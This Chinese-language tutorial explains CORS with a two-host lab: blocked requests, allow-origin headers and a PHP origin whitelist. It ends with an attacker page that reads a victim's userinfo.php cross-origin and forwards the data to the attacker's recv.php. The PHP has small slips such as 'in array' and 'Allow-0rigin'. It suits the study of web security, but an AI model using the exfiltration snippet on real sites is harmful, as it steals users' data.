CORS 跨域访问, 实现跨域的原理, CORS漏洞利用

CORS跨域, 实现跨域的原理, CORS漏洞利用

一, CORS跨域的原理

1. 跨域实验

202服务器:

<?php
$person = array("name" => "John Doe","age" => 30,"occupation" => "Developer"
);$jsonString = json_encode($person);
echo $jsonString;
?>

200服务器

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><script src="./jquery-3.4.1.min.js"></script><title>Document</title><script>// 跨域请求202服务器$.get('http://192.168.112.202/cors.php', function(data){alert(data);});</script>
</head>
<body></body></html>

由200访问202, 发现没有弹窗, 观察浏览器中的请求头和响应头:

请求头:
GET /cors.php HTTP/1.1
Host: 192.168.112.202
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://192.168.112.200  # Origin源ip
Connection: keep-alive
Referer: http://192.168.112.200/
Pragma: no-cache
Cache-Control: no-cache响应头:
HTTP/1.1 200 OK
Date: Mon, 06 Nov 2023 02:38:15 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

请求头有: Origin: http://192.168.112.200

观察控制台, 发现跨域错误:

Cross-Origin Request Blocked: 
The Same Origin Policy disallows reading the remote resource at http://192.168.112.202/cors.php. 
(Reason: CORS header ‘Access-Control-Allow-Origin’ missing). Status code: 200.

重新编辑服务器的php文件, 在php中添加响应头:

<?php
$person = array("name" => "John Doe","age" => 30,"occupation" => "Developer"
);$jsonString = json_encode($person);// 添加响应头, 设置允许跨域的来源
header("Access-Control-Allow-Origin: *");// echo $jsonString;
echo $jsonString;
?>

再次请求发现可以顺利跨域并弹窗, 观察浏览器中的响应头:

HTTP/1.1 200 OK
Date: Mon, 06 Nov 2023 02:38:15 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Access-Control-Allow-Origin: *    # 服务器返回的响应头
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

多了一条: Access-Control-Allow-Origin: *, 这说明允许所有的Origin来源都可以跨域访问.

2. 允许跨域的一些响应头

Access-Control-Allow-Origin: * // 允许所有的Origin源
Access-Control-Allow-Origin: http://192.168.112.200 // 只允许的ip
Access-Control-Allow-0rigin: http://192.168.10.118:8070 // 只允许的ip和端口
Access-Control-Allow-Methods: POST,OPTIONS,GET // 允许的请求方法
Access-Control-Max-Age: 3600 // 生命周期
Access-Control-Allow-Headers: accept,x-requested-with,Content-Type // 允许接收的请求头
Access-Control-Allow-Credentials: true // 是否允许发送cookie

后端php也可以使用数组设置白名单, 允许多个跨域的源:

$list = array('http://192.168.112.201', 'http://192.168.112.203');
// $_SERVER['HTTP_ORIGIN'] 获取请求头的Origin信息
if (in array($_SERVER['HTTP_ORIGIN'], $list)){header("Access-Control-Allow-Origin:" . $_SERVER['HTTP_ORIGIN']);echo $jsonString;
}
else{die("Cross-Site Disallowd");
}

二, CORS跨域漏洞

当服务器后端没有对跨域严格限制ip时, 可以通过脚本对目标网站做跨域访问, 例如:

在200攻击者服务器的html中对202目标服务器的 userinfo.php 做跨域访问.

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><script src="./jquery-3.4.1.min.js"></script><title>Document</title><script>$.get('http://192.168.112.202/userinfo.php', function(data){//alert(data);location.href = "http://192.168.112.200/recv.php?value=" + JSON.stringify(data) + "&referer=" + document.referrer;});</script>
</head>
<body></body>
</html>